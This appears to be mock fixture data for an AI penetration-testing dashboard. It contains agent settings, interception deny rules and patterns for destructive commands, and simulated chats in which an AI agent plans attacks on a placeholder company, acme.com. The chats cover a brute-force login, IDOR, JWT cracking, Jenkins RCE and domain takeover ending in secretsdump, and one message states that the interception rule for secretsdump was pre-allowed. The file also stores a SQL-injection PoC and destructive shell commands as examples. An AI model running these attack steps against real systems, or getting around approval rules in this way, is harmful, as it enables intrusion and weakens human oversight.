context_window_k: 128,
thinking_type: "",
reasoning_effort: "",
is_default: false,
priority: 10,
pool_exclude: false,
// openai 格式 + 推理模型:上限走 max_completion_tokens。
max_tokens: 8192,
max_tokens_field: "max_completion_tokens",
},
];
export const llmConfig = {
configured: true,
provider: "anthropic",
model: "claude-opus-4-8",
base_url: "",
proxy: "",
key_set: true,
rate_per_second: 0,
rate_per_minute: 0,
context_window_k: 1000,
thinking_type: "enabled",
reasoning_effort: "high",
};
// ── Agents ───────────────────────────────────────────────────────────────────
export const agents: Agent[] = [
{
id: "1001",
key: "retester",
name: "漏洞复测",
role: "assistant",
builtin: false,
enabled: true,
description: "从漏洞详情手动发起,保存独立的复测结论。",
max_turns: 0,
mcp_count: 0,
skill_count: 0,
tool_count: 2,
},
{
id: "1",
key: "goals",
name: "目标拆解器",
role: "goals",
builtin: true,
enabled: true,
description: "将任务目标拆解为可探索的子目标。",
max_turns: 8,
mcp_count: 0,
skill_count: 1,
tool_count: 3,
},
{
id: "2",
key: "planner",
name: "规划器",
role: "planner",
builtin: true,
enabled: true,
description: "阅读探索路径,判断目标达成情况,并生成意图。",
max_turns: 0,
mcp_count: 1,
skill_count: 2,
tool_count: 9,
},
{
id: "3",
key: "mainagent",
name: "主 Agent",
role: "mainagent",
builtin: true,
enabled: true,
description: "以人工介入的对话注入 hint 与高优先级意图。",
max_turns: 0,
web_search: true,
mcp_count: 2,
skill_count: 3,
tool_count: 11,
},
{
id: "4",
key: "worker",
name: "Work Agent",
role: "worker",
builtin: true,
enabled: true,
description: "意图 claim → 执行 Kali 工具 → 回写图谱",
max_turns: 40,
run_seconds: 1800,
web_search: false,
interactive_shell: true,
mcp_count: 2,
skill_count: 3,
tool_count: 14,
},
{
id: "5",
key: "recon-bot",
name: "侦察机器人(自定义)",
role: "custom",
builtin: false,
enabled: true,
description: "对新资产定期执行被动侦察。",
max_turns: 12,
mcp_count: 1,
skill_count: 1,
tool_count: 4,
},
];
const promptVars: PromptVar[] = [
{ name: "Goal", description: "当前任务目标", example: "获取 acme.com 管理员后台权限", source: "runtime" },
{
name: "AssetSummary",
description: "资产图谱概览",
example: "子域名 6 个 / IP 3 个 / 应用 4 个 / 端点 4 个",
source: "distilled",
},
{
name: "RouteHint",
description: "探索路径提示",
example: "优先攻击后台与 API 权限绕过面",
source: "exploration",
},
];
const promptVersions: PromptVersion[] = [
{
version: 3,
ts: T("2026-07-25T10:00:00Z"),
note: "强化权限绕过检测引导",
template_text: "你是 ARTEX 的规划者……",
},
{
version: 2,
ts: T("2026-07-20T10:00:00Z"),
note: "初始版本微调",
template_text: "你是 ARTEX 的规划者(v2)……",
},
];
export function agentDetail(key: string): AgentDetail {
const a = agents.find((x) => x.key === key) ?? agents[1];
return {
agent: a,
prompt: `你是 ARTEX 的「${a.name}」。\n目标:{{.Goal}}\n资产概览:{{.AssetSummary}}\n路线提示:{{.RouteHint}}\n请基于以上信息推进探索,并通过工具把结果写回图。`,
variables: promptVars,
versions: promptVersions,
visibility: { mcp: [1, 2], skill: ["api-recon", "playwright-cli"] },
wrapup_prompt: "",
wrapup_default: "时间·阶段预算即将耗尽。请总结已确认的发现,并将意图标记为终止状态。",
wrapup_max_turns: 0,
wrapup_max_turns_default: 3,
task_timeout_wrapup_supported: a.key === "worker" || a.key === "planner",
task_timeout_wrapup_default: "任务已超时。请立即收尾并保存当前结论。",
task_timeout_wrapup_max_turns_default: 2,
};
}
// ── MCP ──────────────────────────────────────────────────────────────────────
export const mcpServers: MCPServer[] = [
{
id: 1,
name: "shodan",
transport: "http",
url: "https://mcp.shodan.io/sse",
args: [],
env: {},
enabled: true,
tools: ["host_info", "search", "dns_resolve"],
},
{
id: 2,
name: "playwright",
transport: "stdio",
command: "npx",
args: ["-y", "@playwright/mcp"],
env: {},
enabled: true,
tools: ["browser_navigate", "browser_click", "browser_snapshot"],
},
];
export const mcpToolsById: Record<number, MCPTool[]> = {
1: [
{ name: "host_info", description: "查询指定 IP 的 Shodan 主机信息" },
{ name: "search", description: "Shodan 搜索" },
{ name: "dns_resolve", description: "DNS 解析" },
],
2: [
{ name: "browser_navigate", description: "用浏览器打开 URL" },
{ name: "browser_click", description: "点击元素" },
{ name: "browser_snapshot", description: "捕获可访问性快照" },
],
};
// ── Skills ───────────────────────────────────────────────────────────────────
export const skills: SkillItem[] = [
{
name: "api-recon",
description: "对 REST/GraphQL API 执行侦察与权限绕过攻击面枚举。发现新 API 端点时使用。",
license: "MIT",
mcps: [],
files: ["SKILL.md", "scripts/enum.py"],
calls: 24,
tasks: 6,
usage_agents: ["worker", "planner"],
last_used: "2026-08-20T09:12:00Z",
},
{
name: "playwright-cli",
description:
"用 Playwright 驱动浏览器执行动态爬取与截图。需要渲染 JS 站点时使用。",
mcps: ["playwright"],
files: ["SKILL.md"],
calls: 7,
tasks: 3,
usage_agents: ["worker"],
last_used: "2026-08-19T21:40:00Z",
},
{
name: "scopesentry",
description: "从 ScopeSentry 拉取资产并合并到公司范围。批量导入资产时使用。",
files: ["SKILL.md", "assets/mapping.md"],
calls: 0,
tasks: 0,
usage_agents: [],
},
];
export const skillCalls: SkillCall[] = [
{ ts: "2026-08-20T09:12:00Z", agent_key: "worker", task_id: 42, session_id: "", args_len: 128 },
{ ts: "2026-08-20T08:03:00Z", agent_key: "planner", task_id: 42, session_id: "", args_len: 0 },
{ ts: "2026-08-19T17:55:00Z", agent_key: "worker", task_id: 37, session_id: "", args_len: 64 },
];
export const missingSkills: MissingSkill[] = [
{ skill: "jwt-forge", calls: 3, agents: ["worker"], last_used: "2026-08-20T07:20:00Z" },
];
// ── Tools ────────────────────────────────────────────────────────────────────
export const tools: Tool[] = [
{
key: "bash",
system: true,
description: "在 Kali 环境中执行 shell 命令(应用 scope·破坏性命令拦截)。",
schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] },
agents: ["worker", "mainagent"],
enabled: true,
kind: "builtin",
calls: 1842,
},
{
key: "report_finding",
system: true,
description: "报告安全发现并关联相关节点。",
schema: {
type: "object",
properties: {
vulnclass: { type: "string" },
severity: { type: "string" },
summary: { type: "string" },
evidence: { type: "string" },
},
required: ["vulnclass", "severity", "summary"],
},
agents: ["worker"],
enabled: true,
kind: "builtin",
calls: 96,
},
{
key: "upsert_asset",
system: true,
description: "记录·更新资产节点。",
schema: { type: "object", properties: { type: { type: "string" }, value: { type: "string" } } },
agents: ["worker"],
enabled: true,
kind: "builtin",
calls: 417,
},
{
key: "list_goals",
system: true,
description: "列出当前任务的目标与达成状态。",
schema: { type: "object", properties: {} },
agents: ["planner"],
enabled: true,
kind: "builtin",
calls: 238,
},
{
key: "nuclei_scan",
system: false,
description: "自定义:用 nuclei 执行指定模板。",
schema: {
type: "object",
properties: { target: { type: "string" }, template: { type: "string" } },
required: ["target"],
},
agents: ["worker"],
enabled: true,
kind: "command",
exec: { command: "nuclei", args: ["-u", "{{target}}"] },
calls: 31,
},
];
// ── Settings ─────────────────────────────────────────────────────────────────
export const settings: Settings = {
traffic_capture: true,
agent_traffic_binding: false,
llm_record: false,
web_search_enabled: true,
web_search_backend: "ddgs",
brave_key_set: false,
tavily_key_set: true,
web_search_proxy: "",
global_proxy: "",
python_interpreter: "/usr/bin/python3",
workers: 3,
llm_pool_enabled: true,
llm_pool_bind_fallback: false,
noa_compaction: false,
};
// ── LLM 轮询(故障转移)──────────────────────────────────────────────────────
// demo:激活配置正常,备用配置刚因余额不足熔断,正在冷却。
export const llmPool: LLMPoolStatus = {
enabled: true,
bind_fallback: false,
chain: [
{
profile_id: "1",
name: "Claude Opus 4.8",
model: "claude-opus-4-8",
format: "anthropic",
priority: 0,
active: true,
excluded: false,
state: "ok",
fails: 0,
trips: 0,
cooldown_secs: 0,
},
{
profile_id: "2",
name: "DeepSeek V4",
model: "deepseek-v4-flash",
format: "openai",
priority: 10,
active: false,
excluded: false,
state: "tripped",
fails: 0,
trips: 1,
cooldown_secs: 42,
last_error: "openai: status 402: insufficient balance",
last_at: T("2026-07-26T00:10:00Z"),
},
],
};
// ── Intercept ────────────────────────────────────────────────────────────────
export const interceptRules: InterceptRule[] = [
{
id: 1,
name: "破坏性命令需审批",
enabled: true,
priority: 10,
match_target: "tool_input",
match_type: "regex",
pattern: "rm\\s+-rf|mkfs|dd\\s+if=",
action: "ask",
message: "检测到破坏性命令,需人工审批",
timeout_enabled: true,
timeout_seconds: 120,
timeout_action: "deny",
created_at: T("2026-07-20T10:00:00Z"),
updated_at: T("2026-07-20T10:00:00Z"),
},
{
id: 2,
name: "立即拒绝外部出站流量",
enabled: true,
priority: 20,
match_target: "tool_input",
match_type: "string",
pattern: "exfil",
action: "deny",
message: "数据外泄嫌疑",
timeout_enabled: false,
timeout_seconds: 0,
timeout_action: "deny",
created_at: T("2026-07-21T10:00:00Z"),
updated_at: T("2026-07-21T10:00:00Z"),
},
];
export const interceptPending: InterceptPending[] = [
{
id: 101,
rule_id: 1,
task_id: "t-acme-web",
agent_name: "work#3",
tool_name: "bash",
tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" },
status: "pending",
reason: "数据泄露拦截:整库导出需人工审批",
created_at: T("2026-07-26T03:58:00Z"),
},
];
export const interceptHistory: InterceptApprovalRow[] = [
{
id: 90,
rule_id: 1,
task_id: "t-acme-web",
agent_name: "work#1",
tool_name: "bash",
tool_input: { command: "dd if=/dev/zero of=/tmp/x" },
status: "denied",
reason: "破坏性命令需审批",
created_at: T("2026-07-25T20:00:00Z"),
decided_at: T("2026-07-25T20:01:00Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "破坏性命令需审批",
},
{
id: 91,
task_id: "t-acme-api",
agent_name: "work#2",
tool_name: "bash",
tool_input: { command: "rm -rf /var/www/html" },
status: "denied",
reason: "[模型] 删除目标运营文件(D4)",
created_at: T("2026-07-25T18:00:00Z"),
decided_at: T("2026-07-25T18:00:05Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "",
},
{
id: 92,
rule_id: 2,
task_id: "t-acme-web",
agent_name: "work#13",
tool_name: "bash",
tool_input: { command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc" },
status: "allowed",
reason: "立即拒绝外部出站流量",
created_at: T("2026-07-26T00:05:00Z"),
decided_at: T("2026-07-26T00:06:00Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "立即拒绝外部出站流量",
},
{
id: 93,
task_id: "t-acme-web",
agent_name: "work#7",
tool_name: "bash",
tool_input: { command: 'mysql -e "DROP TABLE users_bak_0921"' },
status: "pending",
reason: "[模型] 疑似备份表,无法确认是否为运营数据",
created_at: T("2026-07-25T15:14:00Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "",
},
];
// Approval detail fixtures use harmless report-writing examples.
interceptHistory.unshift({
id: 94,
task_id: "t-acme-web",
agent_name: "work#1",
tool_name: "Write",
tool_input: {
path: "reports/summary.md",
content: "# 检查摘要\n\n本轮验证已完成,整理既有证据与后续建议。",
},
status: "allowed",
decision_source: "model",
reason: "[模型] 将既有检查结论写入本地报告,不修改业务数据。",
created_at: T("2026-07-26T08:00:00Z"),
decided_at: T("2026-07-26T08:00:02Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "",
});
export const interceptDetails: Record<number, InterceptAudit> = {
94: {
run_id: "demo-run-report",
tool_use_id: "call-write-report",
correlation: "exact",
input_digest: "a3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458ec1234",
user_message:
"整理已完成的检查,将结论与证据索引写入 reports/summary.md。\n保留待验证项,不要改动业务数据。",
context: [
{ kind: "user", text: "汇总本轮既有证据,生成检查摘要。" },
{
kind: "tool_use",
tool: "Read",
tool_use_id: "call-read-evidence",
text: '{"path":"reports/evidence-index.json"}',
},
{
kind: "tool_result",
tool: "Read",
tool_use_id: "call-read-evidence",
text: "已读取 3 条证据索引。\n记录中包含请求时间、结果摘要与本地文件位置。",
},
],
captured_at: T("2026-07-26T08:00:00Z"),
initial_action: "allow",
initial_reason: "[模型] 将既有检查结论写入本地报告,不修改业务数据。",
effective_action: "allow",
config_digest: "b4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fd1234",
profile_id: 1,
execution_status: "succeeded",
output: "Successfully wrote reports/summary.md\n共记录 68 个字符。",
execution_ended_at: T("2026-07-26T08:00:03Z"),
},
93: {
run_id: "demo-run-review",
tool_use_id: "call-pending-review",
correlation: "exact",
input_digest: "c5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670ae1234",
user_message: "确认备份表的用途,若涉及删除请先核实。",
context: [],
captured_at: T("2026-07-25T15:14:00Z"),
initial_action: "ask",
initial_reason: "[模型] 疑似备份表,无法确认是否为运营数据。",
profile_id: 1,
execution_status: "not_started",
},
};
// ── Conversations (chat) ─────────────────────────────────────────────────────
export const conversations: Conversation[] = [
{
id: 1,
agent_key: "mainagent",
title: "acme 后台渗透点讨论",
llm_profile_id: 1,
pinned: true,
pinned_at: T("2026-07-26T04:00:00Z"),
created_at: T("2026-07-25T10:00:00Z"),
updated_at: T("2026-07-26T03:40:00Z"),
},
{
id: 2,
agent_key: "mainagent",
title: "API 权限绕过攻击面整理",
llm_profile_id: 2,
created_at: T("2026-07-24T16:00:00Z"),
updated_at: T("2026-07-24T17:20:00Z"),
},
{
id: 3,
agent_key: "mainagent",
title: "内网横向移动 · DMZ→域控制器攻击路径规划",
llm_profile_id: 1,
created_at: T("2026-07-25T15:45:00Z"),
updated_at: T("2026-07-26T00:25:00Z"),
},
];
export const conversationMessages: Record<number, Activity[]> = {
1: [
{
seq: 1,
worker: "user",
ts: T("2026-07-25T10:00:00Z"),
kind: "user",
summary: "后台在哪,先从哪下手?",
},
{
seq: 2,
worker: "mainagent",
ts: T("2026-07-25T10:00:04Z"),
kind: "thinking",
summary:
"先确认 admin.acme.com 登录页的技术栈与防御手段(验证码/限速),再决定用默认口令还是字典爆破。",
},
{
seq: 3,
worker: "mainagent",
ts: T("2026-07-25T10:00:06Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c11",
summary: "curl -s https://admin.acme.com/login | grep -Eo 'element-ui|captcha|csrf'",
},
{
seq: 4,
worker: "mainagent",
ts: T("2026-07-25T10:00:08Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c11",
summary: "element-ui\ncsrf",
detail: "是 Element-UI 后台,有 CSRF token 但没有验证码。",
},
{
seq: 5,
worker: "mainagent",
ts: T("2026-07-25T10:00:20Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c12",
summary:
"for i in 1 2 3 4 5; do curl -s -o /dev/null -w '%{http_code}\\n' -d 'username=x&password=y' https://admin.acme.com/login; done",
},
{
seq: 6,
worker: "mainagent",
ts: T("2026-07-25T10:00:24Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c12",
summary: "401\\n401\\n401\\n401\\n401",
detail: "连续 5 次尝试均无锁定·验证码 → 无限速,可暴力破解。",
},
{
seq: 7,
worker: "mainagent",
ts: T("2026-07-25T10:00:30Z"),
kind: "text",
summary:
"结论:是 Element-UI 后台,既无验证码也无限速。攻击顺序为 ①先跑默认口令列表(admin/admin, admin/admin123, admin/123456) ②不中则转入 top1000 字典。「后台默认口令测试」已作为高优先级意图注入 worker agent。",
},
{ seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "好了吗?" },
{
seq: 9,
worker: "mainagent",
ts: T("2026-07-26T03:40:05Z"),
kind: "text",
summary:
"成功。用 admin/admin123 直接登录控制台,并作为高危漏洞记录,证明了「获取后台管理权限」目标达成。接下来转向读取用户数据(目标②)。",
},
],
2: [
{
seq: 1,
worker: "user",
ts: T("2026-07-24T16:00:00Z"),
kind: "user",
summary: "帮我整理一下 api.acme.com 的权限绕过攻击面。",
},
{
seq: 2,
worker: "mainagent",
ts: T("2026-07-24T16:00:05Z"),
kind: "thinking",
summary: "先摸清 API 的认证方式与几个主要端点的行为,再判断 IDOR / JWT 风险。",
},
{
seq: 3,
worker: "mainagent",
ts: T("2026-07-24T16:00:10Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c21",
summary: "curl -s https://api.acme.com/v1/users/me -H 'Authorization: Bearer <self>' | jq '{id,role}'",
},
{
seq: 4,
worker: "mainagent",
ts: T("2026-07-24T16:00:12Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c21",
summary: '{ "id": 42, "role": "user" }',
detail: "普通用户 token 有效。",
},
{
seq: 5,
worker: "mainagent",
ts: T("2026-07-24T16:00:30Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c22",
summary: "echo '<jwt>' | cut -d. -f1 | base64 -d; # 查看算法",
},
{
seq: 6,
worker: "mainagent",
ts: T("2026-07-24T16:00:31Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c22",
summary: '{"alg":"HS256","typ":"JWT"}',
detail: "为 HS256 对称签名,密钥若较弱即可离线暴力破解并伪造。",
},
{
seq: 7,
worker: "mainagent",
ts: T("2026-07-24T16:01:00Z"),
kind: "text",
summary:
"权限绕过攻击面有两个。① /v1/orders?id= 是自增数字 id → 典型 IDOR,改 id 即可读取他人订单。② JWT 使用 HS256,用 john/hashcat 暴力破解密钥后 → 可伪造任意 sub 绕过权限。已分别派生为两个意图。建议先做成本低、影响直接的 IDOR。",
},
],
3: [
{
seq: 1,
worker: "user",
ts: T("2026-07-25T15:45:00Z"),
kind: "user",
summary: "shell 已拿到,接下来怎么打内网?",
},
{
seq: 2,
worker: "mainagent",
ts: T("2026-07-25T15:45:05Z"),
kind: "thinking",
summary:
"www-data 权限难以横向移动内网,先看本地提权。拿下 root 后再以 DMZ 为跳板做主机存活探测。",
},
{
seq: 3,
worker: "mainagent",
ts: T("2026-07-25T15:45:10Z"),
kind: "text",
summary:
"第一步是提权。sudo -l 中 python3 免密,可直接提到 root。再以 DMZ 为跳板跑内网存活扫描(fscan),重点找域控制器与 CI/CD 服务器。",
},
{
seq: 4,
worker: "user",
ts: T("2026-07-25T21:05:00Z"),
kind: "user",
summary: "内网扫到 3 台,Jenkins 8080 开着,有戏吗?",
},
{
seq: 5,
worker: "mainagent",
ts: T("2026-07-25T21:05:08Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c31",
summary: "proxychains curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'",
},
{
seq: 6,
worker: "mainagent",
ts: T("2026-07-25T21:05:12Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c31",
summary: "200",
detail: "/script 可直接访问,且无需认证。",
},
{
seq: 7,
worker: "mainagent",
ts: T("2026-07-25T21:05:20Z"),
kind: "text",
summary:
"有戏。Script Console 无认证,可直接 Groovy RCE。已注入提示让 worker 优先攻击该主机。拿下后要盯住凭据库,里面可能有域账号。",
},
{
seq: 8,
worker: "user",
ts: T("2026-07-25T23:25:00Z"),
kind: "user",
summary: "域账号拿到了。svc_deploy 是 Domain Admins,直接去域控制器吗?",
},
{
seq: 9,
worker: "mainagent",
ts: T("2026-07-25T23:25:10Z"),
kind: "text",
summary:
"没错。svc_deploy + Domain Admins 即可用 psexec 直接拿下 DC01。取得后用 secretsdump 导出整个域哈希即可收尾。secretsdump 会命中拦截规则,已预先放行。",
},
{
seq: 10,
worker: "user",
ts: T("2026-07-26T00:22:00Z"),
kind: "user",
summary: "目标拿下了,帮我整理一下攻击链。",
},
{
seq: 11,
worker: "mainagent",
ts: T("2026-07-26T00:22:12Z"),
kind: "text",
summary:
"完整杀伤链如下。\n1. .git 泄露→源码白盒+硬编码凭据\n2. shop Fastjson RCE→DMZ 反弹 shell\n3. sudo 提权→取得 root 据点\n4. 内网发现→DC01/FS01/Jenkins\n5. Jenkins 未授权→导出 svc_deploy 域凭据\n6. Kerberoasting→破解 svc_sql\n7. svc_deploy∈Domain Admins→psexec DC01→secretsdump 整个域哈希\n\n四个目标全部达成,共获取 17 个漏洞(高危 7/中危 4/低危 2 + 内网路径 8)。",
},
],
};
// ── 资产测试覆盖度(/tasks/{id}/coverage)──
export const coverage = {
enabled: true,
scope_rows: 4,
denominator: 26,
tested: 11,
pct: 11 / 26,
by_type: [
{ type: "subdomain", total: 6, tested: 4 },
{ type: "service", total: 9, tested: 4 },
{ type: "endpoint", total: 8, tested: 2 },
{ type: "ip", total: 3, tested: 1 },
],
};
// ── 资产覆盖图(/tasks/{id}/coverage-graph)──
export const coverageGraph = {
nodes: [
{ key: "c:1", kind: "company", label: "Acme Corp", tested: false, in_scope: false, company_id: 1 },
{
key: "a:1",
kind: "root_domain",
label: "acme.com",
tested: false,
in_scope: false,
asset_id: 1,
domain: "acme.com",
company_id: 1,
},
{
key: "a:2",
kind: "subdomain",
label: "www.acme.com",
tested: true,
in_scope: true,
asset_id: 2,
domain: "www.acme.com",
root_domain: "acme.com",
},
{
key: "a:3",
kind: "subdomain",
label: "api.acme.com",
tested: true,
in_scope: true,
asset_id: 3,
domain: "api.acme.com",
root_domain: "acme.com",
},
{
key: "a:4",
kind: "subdomain",
label: "admin.acme.com",
tested: false,
in_scope: true,
asset_id: 4,
domain: "admin.acme.com",
root_domain: "acme.com",
},
{
key: "a:5",
kind: "service",
label: "www.acme.com",
tested: true,
in_scope: true,
asset_id: 5,
domain: "www.acme.com",
url: "https://www.acme.com",
port: 443,
page_title: "Acme 主页",
status_code: 200,
},
{
key: "a:6",
kind: "endpoint",
label: "https://www.acme.com/search",
tested: true,
in_scope: true,
asset_id: 6,
url: "https://www.acme.com/search?q=",
domain: "www.acme.com",
},
{
key: "a:7",
kind: "service",
label: "api.acme.com",
tested: true,
in_scope: true,
asset_id: 7,
domain: "api.acme.com",
url: "https://api.acme.com",
port: 443,
page_title: "API Gateway",
status_code: 401,
},
{
key: "a:8",
kind: "endpoint",
label: "https://api.acme.com/v1/orders",
tested: false,
in_scope: true,
asset_id: 8,
url: "https://api.acme.com/v1/orders?id=",
domain: "api.acme.com",
},
{
key: "a:9",
kind: "service",
label: "admin.acme.com",
tested: false,
in_scope: true,
asset_id: 9,
domain: "admin.acme.com",
url: "https://admin.acme.com",
port: 443,
page_title: "后台登录",
status_code: 200,
},
{
key: "a:10",
kind: "ip",
label: "203.0.113.10",
tested: true,
in_scope: true,
asset_id: 10,
ip: "203.0.113.10",
company_id: 1,
},
],
edges: [
{ src: "a:1", dst: "c:1" },
{ src: "a:2", dst: "a:1" },
{ src: "a:3", dst: "a:1" },
{ src: "a:4", dst: "a:1" },
{ src: "a:5", dst: "a:2" },
{ src: "a:6", dst: "a:5" },
{ src: "a:7", dst: "a:3" },
{ src: "a:8", dst: "a:7" },
{ src: "a:9", dst: "a:4" },
{ src: "a:10", dst: "c:1" },
],
};
// ── 资产在本任务关联的意图/事实/发现(/tasks/{id}/asset-refs)──
// 播报板 demo:探索节点 → 其锚定资产。真实后端读 exploration_anchors,mock 里静态给几条。
const NODE_ASSETS: Record<string, number[]> = {
fi1: [3],
fi2: [2, 4],
fi3: [5],
fiRce: [4],
fiPriv: [19],
fiJenkins: [21],
i1: [2],
i7: [4],
};
export function nodeAssetsFor(nodeId: string): FindingAsset[] {
return (NODE_ASSETS[nodeId] ?? []).flatMap((id) => {
const asset = assets.find((candidate) => candidate.id === id);
return asset ? [assetRef(id)] : [];
});
}
export function assetRefsFor(_assetId: number) {
return {
intents: [
{ id: 12, kind: "intent", state: "done", summary: "针对 www.acme.com 搜索端点的 SQL 注入检测" },
{ id: 18, kind: "intent", state: "running", summary: "api.acme.com 对象权限绕过(IDOR)枚举" },
],
facts: [
{
id: 34,
kind: "fact",
state: "confirmed",
summary: "search?q= 参数可注入,错误响应中暴露 MySQL 语法错误",
},
],
findings: [{ id: 41, kind: "finding", state: "confirmed", summary: "[高危] SQL 注入 www.acme.com/search?q=" }],
};
}
// ── 工作空间文件管理器(/workspace/*,demo:静态示例树)──
const WS_TREE: Record<string, { name: string; dir: boolean; size: number; content?: string }[]> = {
"": [
{ name: "t-001", dir: true, size: 0 },
{ name: "transcripts", dir: true, size: 0 },
{
name: "notes.md",
dir: false,
size: 96,
content:
"# 工作区笔记\n\n(演示) 工作区根目录下的示例文件,可在线编辑并保存。\n",
},
],
"t-001": [
{ name: "i12", dir: true, size: 0 },
{ name: "recon.txt", dir: false, size: 64, content: "acme.com\nwww.acme.com\napi.acme.com\nadmin.acme.com\n" },
],
"t-001/i12": [
{
name: "exploit.py",
dir: false,
size: 220,
content:
"#!/usr/bin/env python3\n# (demo) SQLi PoC — www.acme.com/search?q=\nimport requests\n\nr = requests.get('https://www.acme.com/search', params={'q': \"1' OR '1'='1\"})\nprint(r.status_code, len(r.text))\n",
},
{
name: "response.html",
dir: false,
size: 180,
content: "<!-- (演示) 截获的响应正文片段 -->\n<html><body>MySQL error near ''1'='1'</body></html>\n",
},
],
transcripts: [
{
name: "exp1-worker-i12.jsonl",
dir: false,
size: 512,
content: "(演示) 原始 LLM 对话记录示例,此处省略。",
},
],
};
const wsClean = (p: string) => p.replace(/^\/+|\/+$/g, "");
export function workspaceList(path: string) {
const key = wsClean(path);
const items = WS_TREE[key] ?? [];
const now = Date.parse("2026-08-09T03:00:00Z");
return {
path: key,
entries: items.map((it, i) => ({
name: it.name,
path: key ? `${key}/${it.name}` : it.name,
dir: it.dir,
size: it.size,
mtime: now - i * 3_600_000,
})),
};
}
export function workspaceRead(path: string) {
const key = wsClean(path);
const slash = key.lastIndexOf("/");
const parent = slash >= 0 ? key.slice(0, slash) : "";
const name = slash >= 0 ? key.slice(slash + 1) : key;
const f = (WS_TREE[parent] ?? []).find((x) => x.name === name && !x.dir);
return { path: key, size: f?.size ?? 0, binary: false, content: f?.content ?? "" };
}
// ── 工具执行历史(/commands)──
export const commandRecords = [
{
id: 1,
exploration_id: 1,
worker: "worker-1",
tool: "bash",
command: JSON.stringify({ command: "curl -s 'https://www.acme.com/search?q=test'" }),
output: "HTTP/1.1 200 OK\nContent-Length: 12034\n<html>… 搜索结果页 …</html>",
is_error: false,
created_at: T("2026-08-09T02:10:00Z"),
},
{
id: 2,
exploration_id: 1,
worker: "worker-1",
tool: "bash",
command: JSON.stringify({ command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs" }),
output: "[*] available databases [2]:\n[*] acme_prod\n[*] information_schema\nback-end DBMS: MySQL >= 5.7",
is_error: false,
created_at: T("2026-08-09T02:12:30Z"),
},
{
id: 3,
exploration_id: 1,
worker: "worker-2",
tool: "bash",
command: JSON.stringify({ command: "ffuf -u https://api.acme.com/FUZZ -w common.txt -mc 200,401,403" }),
output: "v1 [Status: 200]\nhealth [Status: 200]\norders [Status: 401]\nadmin [Status: 403]",
is_error: false,
created_at: T("2026-08-09T02:15:00Z"),
},
{
id: 4,
exploration_id: 1,
worker: "worker-2",
tool: "bash",
command: JSON.stringify({ command: "nmap -sV -p- 203.0.113.10" }),
output: "PORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.9\n443/tcp open https nginx 1.24",
is_error: false,
created_at: T("2026-08-09T02:18:00Z"),
},
{
id: 5,
exploration_id: 1,
worker: "worker-1",
tool: "bash",
command: JSON.stringify({ command: "curl -s https://admin.acme.com/login --data 'user=admin&pass=admin123'" }),
output: "curl: (28) Operation timed out after 10000 ms",
is_error: true,
created_at: T("2026-08-09T02:20:00Z"),
},
];
// ── LLM 录制(/llm/records、/llm/records/{id})──
export const llmRecords = [
{
id: 1,
ts: T("2026-08-09T02:10:02Z"),
model: "claude-opus-4-8",
profile_name: "默认",
session_id: "exp1-worker-i12",
task_id: "t-001",
worker: "worker-1",
latency_ms: 3210,
input_tokens: 8421,
output_tokens: 512,
cache_read: 6000,
cache_write: 1200,
status: "ok",
},
{
id: 2,
ts: T("2026-08-09T02:11:40Z"),
model: "claude-opus-4-8",
profile_name: "默认",
session_id: "exp1-planner",
task_id: "t-001",
worker: "planner",
latency_ms: 4180,
input_tokens: 12044,
output_tokens: 733,
cache_read: 9000,
cache_write: 1500,
status: "ok",
},
{
id: 3,
ts: T("2026-08-09T02:15:20Z"),
model: "claude-opus-4-8",
profile_name: "默认",
session_id: "exp1-worker-i18",
task_id: "t-001",
worker: "worker-2",
latency_ms: 2890,
input_tokens: 7311,
output_tokens: 421,
cache_read: 5200,
cache_write: 900,
status: "ok",
},
{
id: 4,
ts: T("2026-08-09T02:16:05Z"),
model: "claude-opus-4-8",
profile_name: "默认",
session_id: "exp1-worker-i18",
task_id: "t-001",
worker: "worker-2",
latency_ms: 900,
input_tokens: 7600,
output_tokens: 0,
cache_read: 5200,
cache_write: 0,
status: "error",
error: "429 Too Many Requests (退避后重试)",
},
];
// Distinct tasks with counts, derived from llmRecords above (task picker).
const llmTaskCounts: Record<string, number> = {};
for (const r of llmRecords) if (r.task_id) llmTaskCounts[r.task_id] = (llmTaskCounts[r.task_id] ?? 0) + 1;
export const llmTasks: LLMTask[] = Object.entries(llmTaskCounts).map(([task_id, count]) => ({ task_id, count }));
export function llmRecordDetail(id: number, records = llmRecords) {
const item = records.find((r) => r.id === id) ?? records[0];
return {
...item,
request_body: JSON.stringify(
{
model: item.model,
system: "你是一个授权渗透测试系统的「执行者」…(省略)",
messages: [{ role: "user", content: "开始执行 system 提示里的这条意图:只做它、只产生事实、做完即停。" }],
tools: ["bash", "insert_assets", "record_fact", "report_finding"],
},
null,
2,
),
response_body: JSON.stringify(
{
stop_reason: item.status === "error" ? "error" : "tool_use",
content: [
{ type: "text", text: "对 search?q= 执行注入检测,先用报错型 payload 验证。" },
{ type: "tool_use", name: "bash", input: { command: "curl -s 'https://www.acme.com/search?q=1%27'" } },
],
usage: { input_tokens: item.input_tokens, output_tokens: item.output_tokens },
},
null,
2,
),
// HTTP 原文:请求含被归一化视图丢弃的完整工具 schema,响应为原始 SSE 帧。
